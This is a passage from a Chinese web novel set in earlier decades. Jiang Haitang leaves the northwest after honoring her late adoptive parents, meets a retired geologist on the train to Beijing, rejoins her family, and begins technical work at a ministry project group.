陆良辰絮絮叨叨地说着,像女婿第一次上门一样,汇报着家里的情况,语气真诚而尊敬。 姜海棠在一旁听着,眼眶忍不住红了。 她接过陆良辰递过来的酒,轻轻洒在坟前:“爹,娘,你们听见了吗?我现在过得很好,真的很好。良辰他对我很好,公公婆婆也把我当亲女儿一样。我还找到了我的亲爷爷……你们在九泉之下,可以安心了。” “爹,娘,你们养了我六年,把我当成亲女儿一样对待,你们的恩情,我这辈子都报答不了,只盼望下辈子,我还能做你们的女儿,好好地孝顺你们二老。” 微风轻轻拂过,吹动着坟头的青草,仿佛是对他们话语的回应。 姜海棠又低声诉说了许多,说自己的事业,说孩子的趣事,说对未来的期盼,也说了那些未能承欢膝下的遗憾。 陆良辰始终安静地陪在一旁,默默地添酒,整理供品。 祭奠完毕,两人在坟前静静地站了一会儿。 阳光暖暖地照在身上,周围很安静,只有鸟鸣和风吹过树林的声音。 “爹,娘,我们以后会常回来看你们的。”姜海棠最后说道,声音已经平静了许多,带着一种释然和承诺。 下山的路似乎比上来时轻松了一些。 坐回车里,姜海棠长长地舒了一口气,仿佛卸下了一副沉重的担子。 这次祭拜,像是完成了一个重要的仪式,既是对过去的告别,也是对未来的期许。 陆良辰发动车子,握住她的手:“以后,我每年都陪你来。” “嗯。”姜海棠回握住他,心里充满了感激和踏实。 回到城里,离愁似乎被冲淡了些,取而代之的是一种更加平和的心态。 该见的故人都已见过,该了的心事也已了却。 离开的日子也到了。 离开的这天清晨,天空飘着细雨,仿佛也在诉说着离愁。 小何早早收拾好了行李,陆良辰抱着还在熟睡的小橙子。姜海棠最后看了一眼这个小院,这里充满了他们新婚燕尔的甜蜜、初为父母的喜悦和奋斗的汗水。 只是,此后,这里会有新的人住进来,而他们也将走上新的征程。 康小夏、刘红梅、黎景程……等等和姜海棠交好的人都来送姜海棠。 机械厂这边,也来了几个熟悉的人。 正要出门,却看到顾昀笛和舒启华也冒着雨来了。 姜海棠忙迎过去,心疼地说道:“干爸干妈,你们怎么来了?下雨呢!” “好孩子,我们已经回到学校安置了下来,这是我们的地址,等你到了京城给我们写信,你这一路上两个女人带着孩子,我们不放心,总得来叮嘱几句才行。” 舒启华拉着姜海棠的手,眼眶红红的,塞给她一个布包。 “里面是些吃的,有给你准备的,也有给孩子准备的,到了京城,记得常写信回来。” “哎,我知道,干妈。”姜海棠哽咽着点头。 两辈子的相处,姜海棠想到未来有很长时间见不到,是真的难过。 “没事的,海棠,我和你干妈都是老师,我们有寒假,还有暑假。等我们放假了就去看你们。” 舒启华又对小何仔细叮嘱:“香草啊,这一路上要辛苦你照顾好海棠和孩子。” 即便心中有多少不舍,终究,还是到了分别的时间。 陆良辰开车送姜海棠去车站。 在一片不舍的告别声中,吉普车缓缓驶出纺织厂家属院。 姜海棠透过车窗,看到路边上冲着吉普车挥手的熟悉的和不熟悉的身影,视线渐渐模糊。 “海棠,你和小橙子先回去,我很快也会回到京城,到时候,我们一家子就不用再分离了。你回去了,记得告诉小桃子,爸爸想她了。” 姜海棠郑重点头,目送陆良辰下了火车,在车窗外挥手。 火车哐当哐当地行驶着,窗外的景色从西北的苍茫逐渐变为中原的平坦。 小橙子睡醒后精神头十足,在小何用毯子围出来的“安全区”里咿咿呀呀地自说自话,啃着磨牙饼干,玩着小玩具 姜海棠的情绪逐渐平复下来。 她拿出舒启华给的布包打开,里面除了精心制作的肉干、饼子,还有一小包独立包好的奶粉,甚至还有两双显然是手工编织的小袜子,一看就是给孩子们的。 这份细心和关爱让她心里暖融融的,这或许就是有妈妈的感觉。 “香草姐,你也吃点东西。”姜海棠把肉干和饼子分给小何。 “哎,谢谢海棠。”小何接过,有些感慨地说,“金城的人真好,都这么热心肠。顾老师和舒老师真是把你当亲闺女疼。” 小何也是苦命人,其实挺羡慕姜海棠能有如此多的人真心诚意的爱护。 “是啊,他们都是很好很好的人,尤其是干爸和干妈!”姜海棠微笑道。 只是,姜海棠这话,小何并不懂。 甚至,小何很是疑惑。 这几天听到的消息是海棠曾经救舒启华和顾昀笛于危难之时,并没有看出来这两个人对海棠有多好啊! 但海棠既然这么说,那就一定有道理。 旅途漫长,姜海棠一边照顾孩子,一边又开始翻阅顾昀笛给她的那本笔记。 笔记是用工整的钢笔字写的,夹杂着一些外文术语和简图,记录着国外机械领域的见闻和思考,虽然年代久远,但其中一些理念和思路依然让姜海棠觉得耳目一新,深受启发。 姜海棠不由自主就沉浸了进去。 小橙子似乎知道妈妈在忙,大部分时间都很乖。 只是,小家伙也有不耐烦的时候,看着妈妈不理会自己,只是拿着书本看,他试图去抓妈妈手里的钢笔,被小何及时抱开了。 “小家伙,这可不能玩,这是外公送给妈妈的宝贝。”小何耐心地哄着他。 对面下铺是一位带着孙子的老太太,看到小橙子这么乖巧,忍不住夸赞:“这娃娃真省心,带出门也不哭不闹。” “可不是,我们家这娃是乖的不得了。”小何与有荣焉地夸奖着。 第333章 苏教授 这位老太太约莫六十多岁,头发梳理得一丝不苟,穿着藏蓝色的确良衬衫,外面套了件针织开衫,虽然款式普通,但浆洗得干干净净,熨烫得十分平整。 她手腕上戴着一块老式的手表,气质沉静温和,眼神通透,透着一种经历过风浪后的从容。 在这个大多数人还挤硬座甚至无座的时代,能拥有卧铺票,本身就不寻常。 是以,姜海棠并不敢对老太太有丝毫的不敬。 老太太也含笑看着她们,目光慈祥。她轻声开口,声音温和清晰:“同志,你们这是去哪儿啊?” “是啊,婆婆,我们要从西北回京城。”姜海棠笑着回应,觉得这位老太太很面善。 “西北好啊,地广人稀,就是这几年风沙大了些。”老太太语气里带着些感慨,“早年我也在那边待过几年。” 姜海棠心中一动,试探着问:“婆婆您以前是在西北工作?” 老太太微微一笑,没有直接回答,而是说:“算是吧,到处跑,搞地质勘探的,荒山野岭没少去。” 她语气平淡,但“地质勘探”四个字却让姜海棠肃然起敬。 这绝对是顶尖的技术工作,而且异常艰苦,需要极大的奉献精神。 “您是勘探专家!”姜海棠的语气带上了敬意,“那您为国家找到不少矿藏吧?” 老太太摆摆手,谦和地笑道:“都是过去的事了,跟着队伍瞎跑,尽了点本分而已。比不上你们年轻人,现在是你们大展拳脚的时候了。” 她的目光落在姜海棠放在小桌板上的那本技术笔记和图纸上,“你是搞技术工作的?” “嗯,在机械方面做点研究。”姜海棠答道。 老太太点点头,眼神里满是赞赏:“好,好啊!咱们国家现在就需要你们这样懂技术的年轻人。我以前在野外,最盼的就是有好设备,能省多少力气啊!” “可惜那时候好多东西都得靠进口,或者自己土法上马,难啊……”她的话语里没有抱怨,只有一种殷切的期望。 “以后一切都会好的,婆婆,我相信,有一天,我们的祖国会发展到我们不敢想象的地步。” 闲聊中,老太太得知姜海棠是在西北长大的,便又问了些那边的风土人情和工业发展情况,问得很有水平,显然对那边的实际情况相当了解,并非泛泛而谈。 姜海棠谨慎地分享了一些不涉密的见闻,但大部分都是说西北的风土人情和人文故事。 一老一小,两个人聊得十分投入。 “看来地方上的同志还是很努力的,条件虽然艰苦,但一直在进步。”老太太欣慰地说,“就像这火车,虽然慢点,但总是一刻不停地在往前走。国家也是这样,总会越来越好的,就像你说的,总有一天会发展到我们不敢想象的地步。” 她的话语里有一种坚定的信念感。 聊了一会儿,老太太拿出了一本厚厚的书开始阅读,姜海棠看见那是一本地质学专著,姜海棠没有打扰老太太,而是轻声哄着小橙子玩。 整个包厢很是安静,只有小橙子偶尔发出咿咿呀呀的声音。 火车哐当哐当地行驶在广袤的原野上,节奏稳定而催眠。 很快哦,小橙子玩累了,啃着磨牙饼干,眼皮开始打架。 小何熟练地把他抱在怀里,轻轻拍着,哼着不成调的摇篮曲,小家伙很快就在规律的摇晃中沉沉睡去,长长的睫毛在粉嫩的脸颊上投下浅浅的阴影。 睡熟的小家伙被小何安置在了床铺上。 姜海棠给小何倒了杯水:“香草姐,你也躺着歇会儿吧,这一路上,辛苦你了。” “我没事,倒是你别太辛苦了,该休息的时候,要好好休息。”小何压低声音笑道。 姜海棠确实有些疲惫,但她并不想睡。 她靠在卧铺隔板上,目光望向窗外。 铁路沿线偶尔会出现一些村庄和城镇,与西北的苍凉相比,这里的田野似乎更显规整,人们的衣着色彩也隐约多了些变化。 姜海棠再次拿出顾昀笛给的那本泛黄的笔记本,小心翼翼地翻开。 看得出来这份笔记已经有好些年了,纸张已经有些脆了,但钢笔字迹依然清晰有力。 里面不仅有文字记录,还有一些精细的手绘草图,虽然简单,却能看出结构的巧思。 顾昀笛的笔记条理清晰,不仅记录了所见所闻,还有他自己的思考和质疑,甚至还有一些大胆的设想。 姜海棠看得入了神,完全沉浸在知识的海洋里。 她发现,几十年前的一些技术理念,即使在今天看来也并不过时,甚至有些因为当时材料或工艺的限制未能实现的想法,以现在的技术条件或许可以尝试。 这本笔记对她来说,简直是一座宝库。 小何看着姜海棠专注的侧脸,她的眼神明亮而充满求知欲,不由得心生敬佩。 她悄悄起身,给姜海棠的杯子里续上热水。 或许,海棠说得对,不管什么时候,都不能放弃学习,等回到了京城她也应该学习识字。 时间在安静的阅读和思考中悄然流逝。 中间列车员来换了一次票,广播里播报了几个大站的名称。 傍晚时分,小橙子醒了,哼唧着要喝奶。 小何忙冲好奶粉喂他。 对面的老太太也已经放下了书本,站起来活动身体。 几个人有一搭没一搭地说着闲话,简单的交流冲淡了旅途的单调。 姜海棠拿出从金城带来的吃食,又去餐车买了份米饭和炒青菜,和小何简单吃了。 一旁的老太太也吃了自己带的食物,两个人饭后说了一会儿话,老太太躺在床铺上休息。 车厢里的灯亮了起来。 其他铺位的旅客有的在聊天,有的在打牌,有的已经睡下。 小橙子精神这会儿还不错,在小何的逗弄下咯咯直笑。 姜海棠怕打扰别人,便把小橙子抱过来,指着窗外的灯光和偶尔闪过的村镇灯火,轻声地教他:“灯灯……亮亮……” 小家伙睁着乌溜溜的大眼睛,跟着妈妈的手指看,嘴里发出“嗯嗯啊啊”的声音,仿佛真的在学说话。 夜里,车厢熄灯后,小橙子在小何的轻哄下睡着了。 姜海棠却有些睡不着,她借着窗外微弱的光亮,思绪万千。 这次回金城,像是为过去的一段人生画上了一个圆满的句号。 她告别了故人,祭奠了父母,也了却了心愿。 未来,她的舞台在京城,那里有她的事业,她的家庭,和她即将展开的新生活。 虽然对西北仍有不舍,但更多的是一种卸下包袱、轻装上阵的轻松感。 但是,这份新生活,也让她有忐忑和不安。 不过,姜海棠相信,天下没有走不通的路! 火车规律的摇晃像一只巨大的摇篮,她听着车轮碾过铁轨的“咔嚓”声和车厢内轻微的鼾声,思绪渐渐模糊,沉入了梦乡。 这一夜,她睡得很沉。 偶尔会在列车停靠站的广播声中半醒一下,但很快又会在摇篮般的晃动中再次入睡。 好在,小橙子这小家伙吃饱了也是一夜好眠。 第二天清晨,她是被窗外越来越密集的村庄和工厂唤醒的。 阳光透过车窗洒进来,预示着又是一个好天气。 她们离京城越来越近了。 小何已经起来了,正给小橙子换尿布。 “香草姐,你怎么没多睡会儿?” “我睡好了。我已经洗漱了,你快去洗漱吧。” “好,香草姐,等洗漱后我去餐车给咱们买点早饭。” “还有麦乳精和饼子,我们就吃这个就行了,不用专门买早饭。”小何忙拒绝。 一路上都不知道花了多少钱了,可不能再花了。 姜海棠想了想,也不勉强。 洗漱回来,分别泡了两杯麦乳精。 “婆婆,要不要给您也泡一杯麦乳精?”姜海棠问刚洗漱完的老太太。 “不用了,我去餐车买点吃的就行,只是要麻烦你们帮我看着点儿行李。”老太太笑着拒绝。 姜海棠喝着甜腻温热的麦乳精,就着剩下的饼子吃早饭。 她看着窗外飞速后退的风景,心中开始期待起来。 马上就能见到小桃子了,想到女儿甜甜的笑容和软软的拥抱,她的心就变得无比柔软。 吃了早餐,老太太依旧是认真看书,姜海棠则是陪着小橙子玩闹了一会儿。 没办法,小家伙似乎已经没有继续坐车的耐心了,开始有些不耐烦起来。 时间过得很快,很快就到了中午,吃了午饭,稍微收拾了一下行李,姜海棠估计,火车很快就要到站了。 果然,不多时候,火车广播再次响起,播报着即将到达终点站的消息。 “各位旅客请注意,前方到站是本次列车的终点站京城站,请您收拾好随身物品,准备下车……” 车厢里顿时忙碌起来,人们开始收拾行李,熟悉的人说着话。 这时候,列车员过来换票,态度格外恭敬:“苏教授,马上就到北京了,您的东西都拿好。” “谢谢你,同志。”老太太,也就是列车员口中的苏教授和蔼的道谢。 姜海棠心下恍然,果然,这位老太太不是一般人,难怪气质如此不凡。 看着姜海棠看向自己,老太太笑着拿出纸笔写下一行字递给姜海棠:“小姑娘,我看你是个踏实肯干的好苗子。以后在北京工作生活,要是遇到什么难处,或者技术上有什么想法需要交流,可以打这个电话找我。我虽然退休了,但在几个研究所还有些老关系。” 第334章 梦想 姜海棠受宠若惊,双手接过纸条:“谢谢您,苏教授!” “别客气,看到你们这样的年轻人,我就觉得有希望。”苏教授慈祥地笑着,又摸了摸小橙子的小脸,“孩子养得真好,好好培养,将来也是栋梁之才。” 姜海棠捏着手里那张写着电话号码的纸条,看着苏教授挺直的背影,心中充满了温暖和力量。 这短暂的旅途邂逅,这位低调而睿智的老专家,话虽然不多,但却用她的平和、睿智和那份深藏于心的家国情怀,给姜海棠上了生动的一课。 姜海棠将纸条收好,和小何最后检查了一遍行李,给小橙子穿好外套。 火车缓缓驶入站台,熟悉的站台和广播声让姜海棠精神一振。 车刚停稳,姜海棠就透过车窗看到了站台上翘首以盼的何婉仪和袁一楠,还有被袁一楠抱在怀里、正使劲朝这边张望的小桃子! “妈妈!妈妈!”小桃子一眼就看到了妈妈,激动地挥舞着小手,声音隔着玻璃都能隐约听到。 姜海棠的心瞬间被喜悦和酸楚填满,所有的疲惫一扫而空。 她迫不及待地抱着小橙子,和小何一起随着人流下车。 等下了车,姜海棠将小橙子交给婆婆何婉仪。 “妈妈!”小桃子从袁一楠怀里溜下来,像只快乐的小鸟一样扑进姜海棠的怀里,紧紧抱住她的腿,“妈妈,我好想你!” 姜海棠一把将女儿抱在怀里,想要举高高,却发现,小桃子又长大了不少,已经举不动了。 何婉仪抱着小橙子,心疼地打量着,又忙看向姜海棠,“海棠,路上辛苦了吧?” 袁一楠则帮着接过小何手里的行李:“香草同志,一路上辛苦你了。” “不辛苦,不辛苦,这都是我应该做的,再说了,这一路上,我也长了不少见识。”小何连忙说。 这是实话,如果不是有这样的机会,或许,她这一辈子都不会有机会去花城,也不会有机会去京城。 小桃子仰着小脸,看着妈妈,又好奇地看向弟弟:“妈妈,弟弟好像长大了好多!” “是啊,小桃子也长大了,变成大姑娘了!” 姜海棠亲了亲女儿的额头,心里却是对女儿的亏欠。 出站的路上,小桃子叽叽喳喳地说个不停,说着幼儿园的趣事,说着多么想妈妈和弟弟,说着奶奶和大伯母给她买的新裙子。 何婉仪和袁一楠也仔细问着路上的情况和金城那边故人们的近况。 坐上回家的车,看着窗外熟悉的京城街景,听着身边家人的欢声笑语,姜海棠觉得自己何其幸运。 等陆良辰回来,一家人团圆之后,一切都会好起来。 回到陆家老宅,自然又是一番热闹。 离别一个多月的小桃子像个小尾巴一样黏着妈妈,恨不得把这几个月的思念都补回来。 姜海棠也尽可能地让小桃子感受到妈妈的关爱,免得小姑娘心里有小疙瘩,觉得妈妈爱弟弟比较多。 而何婉仪和袁一楠则是张罗了一桌丰盛的接风宴,吃饭的时候,又问了陆良辰在金城那边的生活和工作。 知道姜海棠这一次去,还认了干爸干妈的时候,陆家人其实都是很意外的。 毕竟,要是没有和姜老相认,姜海棠认干亲还能理解,但现在,海棠已经找到了血脉亲人,为什么还会认干亲? 但何婉仪以及陆家的其他人,都没有对此表示质疑。 “既然海棠能认亲,必定是值得信任的人,我相信海棠的眼光。”陆老爷子做了总结。 “谢谢爷爷。” “等回头你爷爷回来了,给你爷爷说一声,也算是正经亲戚了。”陆老爷子又说。 “我爷爷不在京城?” “后天就能回来。”陆老爷子没说姜老的去向,只说了姜老回来的时间,姜海棠便知道,自己不能多问了。 接下来,姜海棠还有两天假期,休息了两天,缓解了旅途的疲惫后,姜海棠立刻投入了工作。 她先是去轻工业部找到了陈老先生报到,并将此行厚厚的技术笔记、考察报告以及初步整理的技术改进建议交给了陈老。 陈老翻阅着那份条理清晰、见解独到的报告,尤其是关于那处关键数据纠偏和针对国内材料工艺提出的替代优化方案,眼中赞赏之色愈浓。 “海棠啊,你这次南下,收获巨大啊!这份报告价值连城!”陈老兴奋地说,“部里正在筹备项目启动会,你这份报告正好可以作为重要的立项依据和技术参考!” “其实,你不用这么着急,完全可以等回到京城之后再整理,看着你比之前又瘦了些!” 姜海棠捏了捏自己有点肉的脸,笑着说:“没有吧,我觉得还好啊!” “可别仗着年轻就糟践身体,你的身体是属于国家的,你要养好身体,为国家服务!”陈老十分严肃的说道。 接下来,陈老又给姜海棠说了一下接下来的工作安排,果然和之前还是不一样的。 姜海棠接下来的生活,主要是投入到研究中去。 这边说好了到研究室的时间,接着,姜海棠又去了出版社,将翻译好的小说稿子交给了陆小姑。 陆小姑看着那工整流畅、语言优美的译稿,惊喜万分:“海棠,你这效率也太高了!质量还这么好!主编看了肯定满意!稿费和补贴过几天就能结算给你,保证让你满意。” 第二日,姜海棠正式到新单位,轻工业部技术引进与消化吸收项目组上班。 她的岗位办公室被安排在陈老附近,便于随时交流。 项目组刚刚组建,人员还在陆续到位。 起初,组里一些资历较老的同志看到姜海棠这么年轻,还是个女同志,心里不免有些嘀咕和轻视。 但是,之前一起去花城的几个人都对姜海棠十分佩服,姜海棠在项目组里有这三个人的支持,倒是不难过,相反,还算是如鱼得水。 至于其他看不上他的人,姜海棠觉得,也无所谓,反正,只要自己足够出色,总能让他们看到自己的优点。 果然,很快,姜海棠就用实力证明了自己。 第一次项目讨论会,当大家为一份外文设备说明中的关键术语争论不休时,姜海棠不仅精准翻译了原文,还结合自己在花城厂的实操经验,解释了该术语在具体工艺中的含义和影响,瞬间解决了争议。 其他人这才相信,这个漂亮的据说家世非同一般的小姑娘,还是有可圈可点之处的,并不是花瓶,也不是关系户。 只是,搞研究的人多少都有些清高,并不会因为姜海棠这一次的优秀,就对姜海棠刮目相看。 但对姜海棠的态度,到底比之前的时候和善了许多,尤其是几位老同志。 在后续的技术资料翻译和整理中,她速度快、准确度高,不仅能翻译,还能指出原版资料中表述不清或与国内实际情况可能存在偏差的地方,并提出核实建议。 甚至,姜海棠提出的一些建议和研究方向,是他们从来没有想过的。 其中一些设计思路也让几位老工程师眼前一亮,受到了启发。 “海棠同志啊,这些你是怎么想到的?为什么之前我就没想到过呢?”李老拿着姜海棠绘制的草图,感慨地说道。 “是啊,到底是年轻人,就是比我们这些老帮子有想法啊!” “海棠啊,我们可以多讨论一下这个方向,我觉得,未来的发展趋势应该是这样的……” 连最初有些看法的老同志,也不得不承认,这个年轻的女同志确实有真才实学,是块搞技术的料。 更重要的是,姜海棠还是那种虽然有才华,还能沉稳专注地工作的人。 她认真的态度、不居功自傲的谦和性格,更是得到了老同志们的喜爱,他们觉得,这是年轻人们缺乏的,这些年,许多年轻人越来越浮躁了,能沉下心做事的越来越少了。 这就越发让他们觉得,姜海棠才是难能可贵的。 期间,她给金城的顾昀笛舒启华、毛厂长等都写了信,报了平安,也简单说了说新工作的情况。很快,她也收到了他们的回信,字里行间都是关切和鼓励。 工作之余,姜海棠的生活节奏依然紧张而充实。 白天上班,晚上回家要陪伴两个孩子。 等孩子们睡了,她还要挤出时间学习,虽然还有一年时间,但姜海棠觉得,应该提前复习起来。 她要参加第一届的高考,做一个有学历有能力的人。 此外,姜海棠接到了陆思敏给她的第二本外文书籍的翻译工作,加上这份工作,姜海棠的生活和工作更加忙碌了起来。 “海棠啊,你不用这样辛苦,咱们家的日子虽然说不上大富大贵,但吃饱穿暖不成问题。” 看着儿媳妇如此辛苦,何婉仪十分不忍心,以为姜海棠是觉得家里的钱不够花,才会如此努力地赚钱,因此劝说她。 “妈,我只是觉得,我有这个能力,就该做更多的事情,实现自己的价值,而不是满足于现在的生活。” “当然了,我也是真的喜欢钱,我总觉得,现在手里有更多的钱,在不远的将来,可以改变我们的生活。” 如果没有能力也就罢了,但还有希望,姜海棠想着,总要买一个京城的四合院才成。